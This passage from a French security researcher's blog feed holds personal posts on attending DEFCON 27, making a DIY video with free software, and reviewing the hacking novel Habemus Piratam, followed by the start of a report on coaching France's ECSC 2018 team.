&lt;h2&gt;Plus gros, plus grand, plus diversifié ...&lt;/h2&gt;
&lt;p&gt;Chaque année DEFCON grandit, s'étend de plus en plus, accueille de plus en plus
de personnes (30 000 âmes en ce qui concerne l'édition 2019), de challenges, de
villages qui ne sont rien d'autres que des évènements dans l'évènement. Autant dire
qu'il est impossible de tout voir ou de tout faire durant les quatre jours que dure
la conférence. Cela signifie aussi que DEFCON s'ouvre à un public plus large, moins
averti, et pas toujours au fait des traditions. On voit ainsi des gens qui filment
les participants avec leurs smartphones, ou font des selfies sans se soucier de
savoir si des personnes étant dans le cadre sont d'accord pour les publier sur
Facebook, Instagram ou Twitter. Et du coup, ça agace certaines personnes qui ne
manquent pas de le faire savoir. Et je ne parle même pas de ce type que j'ai vu
passer dans un couloir du centre de convention avec un stylo caméra, et qui le
tenait bien devant lui pour filmer (oui, un stylo caméra cela se remarque très
facilement).&lt;/p&gt;
&lt;p&gt;Toujours est-il que cette édition était touffue: énormément de villages, de talks,
de workshops, de challenges divers, difficile de tout voir ou de tout tester. J'ai
particulièrement apprécié le village &lt;em&gt;Hack The Sea&lt;/em&gt; et celui de l'&lt;em&gt;Aviation&lt;/em&gt;, des
domaines moins connus mais où la sécurité est aussi de mise et implique des systèmes
peu communs. Par exemple, un village entier était destiné aux drones et aux moyens
de les pirater. Des drones étaient à disposition, et quelques-uns volaient au dessus
des personnes présente dans le village. La règlementation ici aux US est différente
de la notre (qui a été votée en 2018, pour rappel).&lt;/p&gt;
&lt;img alt="Dronewarz" src="/images/dc27/defcon-dronewarz.jpg" /&gt;
&lt;br&gt;&lt;p&gt;Un autre village impressionnant est le &lt;em&gt;Car Hacking Village&lt;/em&gt;. On y trouve deux voitures
faisant partie d'un CTF, ainsi que des simulateurs de postes de conduite ne demandant
qu'à être piraté via des bus CAN ou autres. Lors du dernier jour, une des voitures
a été pas mal abîmée, notamment à coup de masse et de boule de bowling.&lt;/p&gt;
&lt;img alt="DEFCON Car hacking village" src="/images/dc27/dc27-chv.jpg" /&gt;
&lt;br&gt;&lt;p&gt;D'autres villages, comme l'&lt;em&gt;ICS village&lt;/em&gt;, étaient aussi très intéressant, et offrait
l'occasion de s'attaquer à des systèmes industriels simulés via quelques CTFs. Des
talks étaient aussi présents sur ce village, abordant des sujets comme le pentest
en environnement industriel ou des spécificités comme certains protocoles propres
à ces systèmes.&lt;/p&gt;
&lt;img alt="ICS village" src="/images/dc27/ics-village.jpg" /&gt;
&lt;p&gt;Le badge officiel de DEFCON a cette année été conçu par Joe Grand (a.k.a Kingpin),
et présente un tournant dans l'histoire des badges DEFCON. En effet, celui-ci a
été pensé pour être un bijou plutôt qu'un badge. Joe Grand a ainsi découvert le
monde de la fabrication de bijoux, et en particulier celui du taillage de pierre,
qui est je dois l'avouer assez impressionnant. Les quelques 28 500 badges Human
vendus à DEFCON possèdent une pierre de quartz brésilienne taillée et montée à la
main. Il n'y a pas un badge identique, chaque pierre étant unique.&lt;/p&gt;
&lt;p&gt;Le badge reste un badge électronique, avec un challenge présent dessus que plusieurs
hackers se sont empressés de résoudre. Un lecteur de badge était par ailleurs disponible
afin de vérifier l'état d'avancement de ce dernier.&lt;/p&gt;
&lt;img alt="Badge reader" src="/images/dc27/badge-reader.jpg" /&gt;
&lt;br&gt;&lt;/div&gt;
&lt;div class="section" id="et-plus-weird"&gt;
&lt;h2&gt;... et plus &lt;em&gt;weird&lt;/em&gt;&lt;/h2&gt;
&lt;p&gt;Je n'arrive pas à me l'expliquer, mais j'ai eu du mal à me sentir à ma place cette
année. Un truc bizarre au fond de moi qui m'a amené à m'isoler plutôt qu'aller à
la rencontre des gens. Le pire dans cette histoire, c'est que je ne sais pas si
c'est dû à ce que devient DEFCON ou à ce que je deviens moi (oui car voyez-vous,
on ne se voit pas devenir con/crétin/idiot). Plusieurs fois je me suis assis par
terre dans un couloir, avec mon ordinateur portable sur les genoux, à développer
ou m'occuper à d'autres tâches qui n'ont rien à voir avec l'évènement. J'en ai eu
assez de ces casinos, de cette ville de Las Vegas avec ses facettes bling bling
et l'envers du décor qui au final est peu glorieux, de cette foule qui célèbre la
grande messe du Hacking à base de fiestas, de &lt;em&gt;pool parties&lt;/em&gt; et d'excès en tout
genre. Désolé, je n'étais pas d'humeur.&lt;/p&gt;
&lt;p&gt;A cela s'ajoute le sentiment de ne pas être à la hauteur, de ne rien savoir, d'autant
plus lorsque l'on voit la diversité des domaines et techniques abordés dans les
différents talks, challenges et villages. Je me sens rouillé, plus à la page, pas
capable de résoudre des challenges simples, et je vais buter sur des trucs relativement
idiots. Tenez, à votre avis qui a tenté (en vain) de résoudre le seul challenge de stéganographie
du dernier CTF de Hack.lu, bien que le premier indice caché indiquait qu'il n'y avait pas de solution ? Bibi.
Ce qui a bien fait rire un membre des Fluxfingers qui m'a vu m'arracher les cheveux dessus.&lt;/p&gt;
&lt;p&gt;Quant à ma prestation à DEFCON 27, je n'en suis que partiellement satisfait.
J'ai encore un mal fou avec les mêmes dans les slides: j'essaie de faire des trucs rigolos mais
ça ne fait rire personne. Ajoutez à ça la différence culturelle (on est aux USA),
cela rend la tâche encore plus ardue. Si ma carrière se termine en infosec, je
sais au moins que je ne pourrais pas me recycler en comique. Loin de là. De plus, mon anglais
est loin d'être parfait et je me force à ne pas préparer ce que je vais dire mais
à tenter de simplement parler une fois sur scène. Ce qui peut expliquer les cafouillages
et erreurs de grammaire ou de prononciation. Il me reste toujours l'excuse facile
de dire que je suis français, et du coup ça fait toujours marrer.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="la-crise-de-la-trentaine"&gt;
&lt;h2&gt;La crise de la trentaine ?&lt;/h2&gt;
&lt;p&gt;Jeff Moss (a.k.a DarkTangent) évoquait lors de la cérémonie de clôture le fait que les organisateurs
vieillissaient (et lançait par ailleurs un défi aux hackers du &lt;em&gt;Biohacking village&lt;/em&gt;),
ce qui se traduisait globalement par une fatigue plus ressentie et la disparition
tragique de hackers, de &lt;em&gt;goons&lt;/em&gt;, de membres de l'organisation ayant dédié des années
à DEFCON. Beaucoup d'émotion d'ailleurs dans les propos tenus par Nikita, Jeff et d'autres
responsables de l'organisation, endeuillés par la perte de deux de leurs membres
durant l'année 2019 (&lt;em&gt;Tuna&lt;/em&gt; et &lt;em&gt;Thelockheed&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Bizarrement, c'est aussi ce que je ressens. Je me sens vieillir, je vois pas mal
de choses changer chez moi, que ce soit sur le plan physique ou plus simplement
sur mes aspirations. Je n'ai pas non plus le même regard sur la communauté Infosec
que lorsque je l'ai rejointe, il y a de cela plusieurs années. Je vois des amis et
des collègues disparaître, des hackers que je tenais en estime et qui s'en sont
allés en 2019 (farewell Philemon &amp;amp; Ylujion). On n'a plus vingt ans, on a perdu toute insouciance, fondé des familles,
réduit les nombres de nuits blanches à coder ou hacker.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="je-me-soigne-pas-de-panique"&gt;
&lt;h2&gt;Je me soigne, pas de panique !&lt;/h2&gt;
&lt;p&gt;J'ai pas mal réfléchi ces derniers jours, et je pense avoir trouvé une solution
à cette période bizarre. Cela implique du hacking, une révision des priorités et
de nouveaux challenges.&lt;/p&gt;
&lt;p&gt;Premièrement, il me semble important de passer du temps avec les personnes qui me
sont chères, c'est-à-dire ma famille et mes amis. Autrement dit, je vais prendre
du temps avec mes deux minis-moi et ma femme, quitte à gratter sur le temps alloué aux projets
personnels. Je vais ainsi pouvoir initier ma fille à Scratch, et faire tout plein
de Legos avec eux (yay !).&lt;/p&gt;
&lt;p&gt;Deuxièmement, je vais essayer de me sortir la tête de l'infosec quand c'est possible,
et allouer du temps à des projets qui n'ont rien à voir mais qui relèvent quand même
du hacking. Je vais ainsi prendre le temps de terminer les deux &lt;em&gt;Super Minitels&lt;/em&gt; qui
me reste à faire, et avancer sur un projet en rapport avec l'aéromodélisme (quand je vous
dis que cela n'a rien à voir avec l'infosec !). Je mettrai peut-être plus d'infos
ici quand il aura avancé.&lt;/p&gt;
&lt;p&gt;Et enfin, je vais faire le tri dans les projets en cours ainsi que dans les tâches
&amp;quot;habituelles&amp;quot; qui reviennent chaque année. Je vais par exemple arrêter de travailler
sur la création des badges électroniques dans le cadre de &lt;a class="reference external" href="https://lehack.org"&gt;leHACK&lt;/a&gt;
et me concentrer sur l'organisation de &lt;em&gt;Qui veut gagner des bitcoins&lt;/em&gt;, et seulement
cela. Fini la conception des challenges associés au badge. Trop de temps perdu, trop
de stress. Sans parler de certains fails relatifs aux badges qui se sont produits ces
dernières années.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;NB: ce billet de blog a été écrit à chaud, mais je pense que la réflexion qu'il présente va évoluer
dans les jours et semaines à venir. Vous pouvez me donner votre feedback (insultes, encouragements, questions) via Twitter ou par mail, bien évidemment.&lt;/em&gt;&lt;/p&gt;
&lt;/div&gt;
</content><category term="Humeur"/><category term="defcon"/><category term="conference"/><category term="hacking"/></entry><entry><title>Et pourquoi pas une vidéo ?</title><link href="https://virtualabs.fr/humeur/dirty-little-hacks-video" rel="alternate"/><published>2019-03-21T23:00:00+01:00</published><updated>2019-03-21T23:00:00+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2019-03-21:/humeur/dirty-little-hacks-video</id><summary type="html">&lt;p&gt;Je me suis lancé un défi à la noix, en janvier: celui de réaliser une vidéo (ou
une série de vidéos, qui sait) traitant de hacking au sens large, entièrement
réalisée à partir de logiciels libres et de contenu libre de droit. Juste comme
ça, pour sortir de ma zone …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Je me suis lancé un défi à la noix, en janvier: celui de réaliser une vidéo (ou
une série de vidéos, qui sait) traitant de hacking au sens large, entièrement
réalisée à partir de logiciels libres et de contenu libre de droit. Juste comme
ça, pour sortir de ma zone de confort, parce que pourquoi pas, après tout. Je
n'ai aucune intention de devenir &amp;quot;vidéaste&amp;quot; sur Youtube, ni de battre PewDiePie.
Encore moins de gagner ma vie en faisant cela. Ce billet de blog retrace ainsi
la genèse de ce projet, et comment j'ai réussi à faire une petite vidéo (et à
quel prix).&lt;/p&gt;
&lt;div class="section" id="c-est-de-la-faute-a-peertube"&gt;
&lt;h2&gt;C'est de la faute à Peertube&lt;/h2&gt;
&lt;p&gt;Début 2019, je décidais de retourner voir ce que devenait le projet &lt;a class="reference external" href="https://joinpeertube.org/fr/"&gt;Peertube&lt;/a&gt;
initié par Framasoft dans sa volonté de &lt;a class="reference external" href="https://degooglisons-internet.org/fr/"&gt;dégoogliser Internet&lt;/a&gt;.
Et j'ai été agréablement surpris: les vidéos étaient fluides, les contenus variés, et l'interface plutôt
ergonomique ! Du coup, je suis tombé sur quelques vidéos qui m'ont intrigué, et de fil en aiguille j'ai
reproduit ce qu'il m'arrive de temps en temps sur Youtube: je suis resté environ 2 heures à passer de vidéo
en vidéo, découvrant des facettes insoupçonnées de l'Internet, du DIY et de certains vidéastes.&lt;/p&gt;
&lt;p&gt;Et c'est à cet instant précis, à deux heures du matin devant mon écran, que je menu
suis dit que ça serait intéressant de faire une série de vidéos traitant de DIY, de
hacking, de coding, bref de divers sujets que je traite habituellement sur le blog,
mais sur un autre format. Cela peut être plus intéressant, amener un peu plus de vie
et pourquoi pas montrer plus en détail certaines réalisations là où les photos sont
limitées.&lt;/p&gt;
&lt;p&gt;Plus j'y pensais, plus l'idée me séduisait. J'avais déjà touché à des logiciels
de montage vidéo comme &lt;em&gt;KDEnlive&lt;/em&gt;, je connaissais les bases disons dans ce
domaine, mais de là à faire une vraie vidéo ... Sans parler du fait que je
n'aime pas me filmer et encore moins entendre ma voix (ce qui explique que j'ai
horreur de regarder les vidéos de mes prestations en conférence).&lt;/p&gt;
&lt;p&gt;Ah, et tant qu'à publier une vidéo sur une instance Peertube, autant qu'elle soit
réalisée entièrement à l'aide de logiciels libres et de contenu libre de droits.
Car bon, il s'agirait d'anticiper tout de même les problèmes futurs que posera
&lt;a class="reference external" href="https://www.lemonde.fr/pixels/article/2018/09/12/le-parlement-europeen-adopte-la-directive-sur-le-droit-d-auteur-a-l-heure-du-numerique_5354024_4408996.html"&gt;l'article 13 de la directive Copyright&lt;/a&gt;,
sait-on jamais.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="le-choix-des-logiciels"&gt;
&lt;h2&gt;Le choix des logiciels&lt;/h2&gt;
&lt;p&gt;Ayant déjà réalisé du montage vidéo sous Linux avec &lt;em&gt;KDEnlive&lt;/em&gt;, je savais au moins
une chose: ce logiciel ne fait que planter et il est laborieux de mener un projet
à bien sans expérimenter un ou deux plantages bien sentis, avec perte du travail
en cours à la clef. C'est bien simple, quasimment tous les tutoriaux sur &lt;em&gt;KDEnlive&lt;/em&gt;
indiquent d'abuser du CTL-S pour être sûr de ne rien perdre.&lt;/p&gt;
&lt;p&gt;J'avais déjà cherché en 2018 un autre logiciel de montage (merci Twitter):&lt;/p&gt;
&lt;center&gt;&lt;blockquote class="twitter-tweet" data-lang="fr"&gt;&lt;p lang="en" dir="ltr"&gt;Hey Twitter, is there any good video editing software other than KDEnlive you would recommend ? &lt;a href="https://twitter.com/hashtag/justasking?src=hash&amp;amp;ref_src=twsrc%5Etfw"&gt;#justasking&lt;/a&gt;&lt;/p&gt;&amp;mdash; Damien Cauquil (@virtualabs) &lt;a href="https://twitter.com/virtualabs/status/1078814216793063424?ref_src=twsrc%5Etfw"&gt;29 décembre 2018&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src="https://platform.twitter.com/widgets.js" charset="utf-8"&gt;&lt;/script&gt;&lt;/center&gt;&lt;p&gt;Et l'on m'avait aiguillé sur &lt;em&gt;Blender&lt;/em&gt;. Quoi ? Blender ? Mais c'est pour faire
des images ou animations en 3D, me disais-je naïvement. En effet, mais il intègre
aussi un &lt;em&gt;Video Sequence Editor&lt;/em&gt;, autrement dit un outil de montage assez puissant
car il permet de mixer des séquences 3D générées à des prises de vues réelles
par exemple comme le montre ce petit tutorial expliquant la base du masquage avec
&lt;em&gt;Blender&lt;/em&gt;:&lt;/p&gt;
&lt;center&gt;&lt;iframe width="560" height="315" src="https://www.youtube-nocookie.com/embed/EmzfaD6IgZ8" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;&lt;/center&gt;&lt;p&gt;Après quelques tests, il me fut évident que &lt;em&gt;Blender&lt;/em&gt; pouvait faire l'affaire en
ce qui concerne l'édition vidéo. Il restait ensuite à trouver un logiciel pour
réaliser des animations 2D, notamment pour le pseudo-générique et les titres.
Là encore l'open-source est venu à la rescousse, avec &lt;em&gt;Synfig&lt;/em&gt;. Cet outil permet
de réaliser des dessins animés, mais aussi des animations en 2D à partir d'objets
vectoriels (et donc compatible SVG). Avec du recul, cette idée était complètement
débile, &lt;em&gt;Blender&lt;/em&gt; étant tout à fait capable de faire cela (et même largement plus !).
J'ai appris par la suite à manipuler un peu mieux &lt;em&gt;Blender&lt;/em&gt; pour faire ce genre
d'effet, et c'est juste surpuissant.&lt;/p&gt;
&lt;p&gt;Et enfin, j'ai opté pour &lt;em&gt;Audacity&lt;/em&gt; pour les enregistrements de voix et &lt;em&gt;LMMS&lt;/em&gt;
pour la composition musicale. Oui, rappelez-vous, je vous ai dit que je voulais
avoir du contenu libre de droits. Et quoi de plus simple que de faire soi-même
sa musique ? Zone de confort, me dites-vous ? En vérité, je suis une bille en
musique. Je ne prétends pas avoir l'oreille musicale, et encore moins l'oreille
absolue, mais j'avoue que pour le coup c'était certainement le plus grand challenge.&lt;/p&gt;
&lt;p&gt;(Bon par contre j'ai utilisé une image d'enfants qui elle n'est pas libre de droits,
c'est mal, je l'avoue, mais je ne pouvais décemment pas mettre une photo d'un de
mes minis-moi alors j'ai préféré mettre ceux des autres)&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="quid-du-materiel"&gt;
&lt;h2&gt;Quid du matériel ?&lt;/h2&gt;
&lt;p&gt;Je ne suis pas vidéaste, et sais pertinemment que l'on ne s'improvise pas vidéaste
comme cela (quoiqu'en dise Youtube). Aussi, j'ai pu m'appuyer sur du matériel
abordable pour la réalisation de cette vidéo, comme par exemple &lt;a class="reference external" href="https://www.amazon.fr/dp/B00EQ077RE"&gt;mon micro USB
Bird UM1&lt;/a&gt; que j'avais initialement acheté
pour éviter les galères de son dans les podcasts auxquels j'ai participé (coucou
&lt;a class="reference external" href="https://www.nolimitsecu.fr/"&gt;NoLimitSecu&lt;/a&gt;), ou encore mon smartphone Huawei
Mate 20 lite (avec des portes dérobées dedans) pour la prise de vue. J'ai tout de
même investi dans un &lt;a class="reference external" href="https://www.amazon.fr/dp/B009GHYMB6"&gt;GorillaPod&lt;/a&gt;, histoire
de pouvoir filmer les mains libres.&lt;/p&gt;
&lt;p&gt;Enfin, j'ai pu réinvestir les sommes mirobolantes que j'ai gagné en faisant du
Bug Bounty dans &lt;a class="reference external" href="https://www.amazon.fr/dp/B002M8GBDI"&gt;un clavier MIDI d'entrée de gamme&lt;/a&gt;,
ce qui est quand même plus sympa pour jouer que le clavier de mon ordinateur.
&lt;a class="reference external" href="https://www.youtube.com/channel/UCPpNtkHeCnwN7Tl5oLq4AAg/videos"&gt;Prends ça, Freddy Mercury&lt;/a&gt;.&lt;/p&gt;
&lt;img alt="Clavier MIDI USB AKAI LPK25" src="/images/dirty-little-hacks-ep0/akai-lpk25.jpg" /&gt;
&lt;/div&gt;
&lt;div class="section" id="dirty-little-hacks-l-episode-pilote"&gt;
&lt;h2&gt;Dirty Little Hacks, l'épisode pilote&lt;/h2&gt;
&lt;p&gt;Réaliser les vidéos m'aura pris plusieurs soirées et après-midi (sans parler des
Gibi-octets de stockage que ça requiert), tandis que l'enregistrement des &lt;em&gt;voice
over&lt;/em&gt; aura été la chose la plus laborieuse que j'ai faite. Je trouve toujours le
rendu pas top de ce côté là, mais c'est certainement parce que je lis un peu trop
au lieu d'essayer d'expliquer naturellement. Croyez-le ou pas, j'ai eu le trac
avant d'enregistrer ces séquences audio. Comme un con devant mon micro d'apprenti
Youtubeur, à bégayer et bafouiller. Non, ce n'a pas été simple.&lt;/p&gt;
&lt;p&gt;Cette première vidéo, un épisode pilote d'une série que j'ai intitulé &lt;strong&gt;Dirty Little Hacks&lt;/strong&gt;,
est un pseudo-tutoriel sur la réalisation d'un porte-clé imprimé en 3D à partir d'un dessin.
&amp;quot;Pseudo-tutoriel&amp;quot; car je dévoile les différentes étapes sans m'attarder sur les subtilités des outils
(leurs menus, ou les fonctions employées), les logiciels à employer et la progression dans la réalisation.
L'idée vient d'un atelier que j'ai improvisé avec mes minis-moi lorsqu'ils ont découvert
mon imprimante 3D et posé tout un tas de questions sur comment elle fonctionne et
son utilité. Je leur ai alors proposé de dessiner leur porte-clé idéal et que je
les transformerai en véritable porte-clé imprimés en 3D.&lt;/p&gt;
&lt;p&gt;Ceci dit, je n'ai pas fait tout cela en 3 mois pour rien, et vous trouverez
ci-dessous la vidéo finale, grâcieusement hébergée sur l'instance &lt;em&gt;Peertube&lt;/em&gt; de &lt;a class="reference external" href="https://www.tedomum.net/"&gt;Tedomum&lt;/a&gt;.
J'ai aussi monté &lt;a class="reference external" href="https://github.com/virtualabs/dirty-little-hacks/tree/master/s00/episode00"&gt;un repository Github&lt;/a&gt; sur lequel je mets sous licence Creative Commons
les différents contenus que j'ai produit, dont notamment les pseudo-musiques de
fond, et bien sûr les différents fichiers mentionnés dans la vidéo. Sur ce, je
vous laisse juger du résultat, et n'hésitez pas à critiquer (en bien ou en mal),
partager ou m'envoyer des insultes via Twitter ou mon mail.&lt;/p&gt;
&lt;center&gt;&lt;iframe width="560" height="315" sandbox="allow-same-origin allow-scripts" src="https://video.tedomum.net/videos/embed/01cd2292-e4e3-4b61-bb74-a4fbdb704f32" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;/center&gt;&lt;/div&gt;
&lt;div class="section" id="et-la-suite"&gt;
&lt;h2&gt;Et la suite ?&lt;/h2&gt;
&lt;p&gt;J'avais pensé &lt;strong&gt;Little Dirty Hacks&lt;/strong&gt; comme une série de courtes vidéos (pas plus
de dix minutes) dans lesquelles je montre des hacks originaux, des réalisations
qui n'ont rien à voir avec le monde de la sécurité mais plus liées à du hacking
au sens originel, en donnant toutes les clés pour que cela puisse être reproduit.&lt;/p&gt;
&lt;p&gt;Si l'accueil est plutôt positif, j'envisage de commettre une nouvelle vidéo et
ainsi de continuer cette série, dans le cas contraire je n'insisterai pas et
tirerai les leçons de cette tentative. L'échec est toujours une option. Je ne
compte toutefois pas, si cette initiative plaît, me forcer à publier régulièrement
des vidéos: pas de pub, pas de monétisation, mon rythme, mes règles. A la limite,
peut-être mettrai-je en place un &lt;em&gt;Patreon&lt;/em&gt; pour permettre à ceux qui apprécient
ces petits projets de donner une pièce ou deux afin de financer des projets plus
imposants, mais ce n'est pas l'objectif principal.&lt;/p&gt;
&lt;/div&gt;
</content><category term="Humeur"/><category term="video"/><category term="diy"/><category term="floss"/></entry><entry><title>Livre: Habemus Piratam, de Pierre Raufast</title><link href="https://virtualabs.fr/humeur/habemus-piratam" rel="alternate"/><published>2019-01-14T23:44:00+01:00</published><updated>2019-01-14T23:44:00+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2019-01-14:/humeur/habemus-piratam</id><summary type="html">&lt;p&gt;Chose n'est pas coutume, je vais parler d'un livre sur ce blog. Non pas que j'aie peur de ne publier
que peu de billets sur cette année 2019 ou pris une résolution qui ne tiendront que quelques mois, mais
parce que je suis tombé dessus quelque peu par hasard et …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Chose n'est pas coutume, je vais parler d'un livre sur ce blog. Non pas que j'aie peur de ne publier
que peu de billets sur cette année 2019 ou pris une résolution qui ne tiendront que quelques mois, mais
parce que je suis tombé dessus quelque peu par hasard et que je l'ai apprécié. Ce livre, c'est &lt;em&gt;Habemus Piratam&lt;/em&gt; de Pierre Raufast. C'est aussi le &lt;a class="reference external" href="https://raufast.wordpress.com/2018/10/21/habemus-piratam-coup-de-coeur-du-clusif/"&gt;livre coup de coeur du CLUSIF&lt;/a&gt;.&lt;/p&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;img alt="Couverture de Habemus Piratam, crédit motspourmots.fr" src="/images/habemus-piratam/couverture.jpg" /&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="c-est-l-histoire-d-un-pirate"&gt;
&lt;h2&gt;C'est l'histoire d'un pirate&lt;/h2&gt;
&lt;p&gt;Comme le titre laisse supposer, il s'agit d'un roman traitant de religion chrétienne et de piratage, parodiant le célèbre
&lt;em&gt;Habemus Papam&lt;/em&gt; annonçant l'élection d'un Pape par un conclave. L'histoire de l'abbé Francis, néophyte en informatique, qui reçoit la confession d'un mystérieux pirate dans son église de la vallée de Chantebrie, entre diverses grenouilles de bénitier et autres pénitents.
Ce mystérieux pirate raconte ses différents méfaits, avec moults détails, relatant l'usage de drones ou encore des plus viles techniques de piratage telles que de l'ingénierie sociale ou l'installation de logiciels malveillants. Pendant que d'autres crimes et délits se déroulent
en parallèle dans le village, démontrant parfois l'utilité des objets connectés dans le contexte de certaines investigations, pour ne citer
que cet exemple.&lt;/p&gt;
&lt;p&gt;L'auteur fait dans ce roman un étalage de différentes attaques informatiques, du point de vue de ce mystérieux pirate, détaillant la réflexion derrières celles-ci et leur mise en oeuvre; tout en restant abordable et compréhensible pour quiconque n'étant pas expert dans le domaine. C'est un livre divertissant (je l'ai lu d'une traite !), techniquement correct (aucune attaque réellement impossible ou purement inspirée du cinéma) et qui peut amener une réflexion quant à notre usage des technologies, en particulier ces satanés mouchards d'objets connectés.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="un-livre-accessible-aux-frileux-des-technologies"&gt;
&lt;h2&gt;Un livre accessible aux frileux des technologies&lt;/h2&gt;
&lt;p&gt;Pierre Raufast dépeint dans ce roman le quotidien d'un abbé découvrant le piratage au travers des confessions d'un mystérieux pirate, sans pour autant connaître les bases de la sécurité informatique ou
la cyberdélinquance. L'auteur en profite pour introduire toutes les notions nécessaires à la bonne compréhension des attaques, méthodes, outils mais aussi la manière de penser de ce pirate, tout en restant compréhensible pour tout un chacun. En somme, ce livre éclaire le lecteur sur les attaques actuelles ou qui peuvent se produire, tout en abordant les risques et les enjeux: données, argent virtuel, réputation, tout y passe. Faites-le lire à vos proches, et ils vous assailleront de questions: &amp;quot;est-ce que c'est possible de faire cela ?&amp;quot;, &amp;quot;tu crois que je devrais arrêter de poster toutes mes photos sur Facebook ?&amp;quot;, &amp;quot;tu connais un objet connecté qui ne t'espionne pas ?&amp;quot;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Habemus Piratam&lt;/em&gt; a le mérite de sensibiliser tout en distrayant, voire même d'éveiller la curiosité du lecteur. Les références aux outils ou techniques sont présentes et justes (on y parle de &lt;em&gt;netcat&lt;/em&gt;, de &lt;em&gt;keyloggers&lt;/em&gt; et autres pare-feus), les scénarios d'attaques possibles voire réalistes -- en particulier ceux impliquant les réseaux sociaux, et cela a même de quoi intimider le lecteur à certains moments du livre. Il ne serait pas étonnant que cet ouvrage amène un certain nombre de ses lecteurs à effectuer, à l'instar de l'abbé Francis, des recherches sur Internet à propos de ces outils, et découvrir des articles ou tutoriels d'utilisation de ceux-ci.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="de-herve-a-damien-en-passant-par-cedric-ou-encore-l-anssi"&gt;
&lt;h2&gt;De Hervé à Damien, en passant par Cédric ou encore L'ANSSI&lt;/h2&gt;
&lt;p&gt;Une des particularités de ce livre, c'est qu'il fait référence à des personnes, personnages et évènements français connus de la sécurité informatique. Ainsi, il est fait mention d'un certain Damien rencontré lors de la &lt;em&gt;nuit du hack&lt;/em&gt;, et de son fameux protocole (non, il ne s'agit pas de moi mais plutôt d'un autre Damien ayant un protocole d'alerte), ou encore de Cédric qui &amp;quot;[propose] illico de rédiger un article dans sa revue&amp;quot;. D'autres noms ponctuent les différentes histoires, comme par exemple &lt;em&gt;Ryu&lt;/em&gt; ou &lt;em&gt;Zelda&lt;/em&gt;, ou encore un programme nommé &amp;quot;Babar&amp;quot; avec pour signature &amp;quot;Titi&amp;quot; (toute ressemblance
avec un programme existant est purement fortuite).&lt;/p&gt;
&lt;p&gt;La culture pop et geek s'est ainsi invitée dans le roman, par petites touches et références savamment dosées et distillées au fil de la progression de l'histoire, arrachant un sourire au lecteur par sa subtilité ou l'absurdité dans laquelle elle survient. Que cela fasse référence à des jeux vidéos, des logiciels malveillants ou encore des pseudonymes de pirates célèbres, les lecteurs avertis y trouveront aussi leur compte.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Habemus Piratam&lt;/em&gt; est un roman rafraîchissant, traitant de techniques et d'outils de piratage, le tout servi par une histoire prenante et des personnages attachants. C'est un livre qui se lit avec plaisir, que l'on soit expert en sécurité informatique ou ignorant, et qui peut amener à une réflexion sur notre vie numérique et ses enjeux.&lt;/p&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Habemus Piratam&lt;/strong&gt;, Pierre Raufast, Alma Editeur, 2018.&lt;/p&gt;
&lt;/div&gt;
</content><category term="Humeur"/><category term="livre"/><category term="hacking"/><category term="critique"/></entry><entry><title>European Cybersecurity Challenge 2018</title><link href="https://virtualabs.fr/secu/ecsc-2018" rel="alternate"/><published>2018-12-27T00:20:00+01:00</published><updated>2018-12-27T00:20:00+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2018-12-27:/secu/ecsc-2018</id><summary type="html">&lt;p&gt;En octobre dernier se déroulait à Londres le challenge européen de cybersécurité, réunissant 17 pays de l'Union Européenne
pour un CTF assez particulier. Chaque pays est représenté par une équipe de 10 participants et un ou plusieurs entraîneurs (sans
compter les membres organisateurs de chaque pays), ce qui représentait ainsi …&lt;/p&gt;</summary><content type="html">&lt;p&gt;En octobre dernier se déroulait à Londres le challenge européen de cybersécurité, réunissant 17 pays de l'Union Européenne
pour un CTF assez particulier. Chaque pays est représenté par une équipe de 10 participants et un ou plusieurs entraîneurs (sans
compter les membres organisateurs de chaque pays), ce qui représentait ainsi plus de 200 personnes réunies pour cette compétition.
J'ai ainsi eu le privilège d'être un des entraîneurs de l'équipe représentant la France lors de ce CTF, avec Heurs et Ack. Petit retour
sur cette compétition hors-norme, et débriefing à froid.&lt;/p&gt;
&lt;p&gt;Ce billet se veut être un compte-rendu de l'évènement tel que je l'ai vécu, et n'est en aucun cas un résumé de ce qu'est l'ECSC. Je vous
invite à écouter &lt;a class="reference external" href="https://www.nolimitsecu.fr/ecsc-2018/"&gt;l'épisode de NoLimitSecu dédié à cet évènement&lt;/a&gt;, auquel j'ai participé avec Maki, Anne-Charlotte et Ack, si vous souhaitez
avoir plus de détails.&lt;/p&gt;
&lt;div class="section" id="hey-virtu-ca-te-dirait-d-etre-coach-de-l-equipe-de-france-de-ctf"&gt;
&lt;h2&gt;&amp;quot;Hey virtu, ça te dirait d'être coach de l'équipe de France de CTF?&amp;quot;&lt;/h2&gt;
&lt;p&gt;C'est un peu en ces termes que majinbooœ, président de l'association HZV, m'a apostrophé. En effet, suite au round de qualification
qu'avait organisé l'ANSSI durant la Nuit du Hack 2018 (RIP), HZV devait participer à l'organisation de l'entraînement de l'équipe
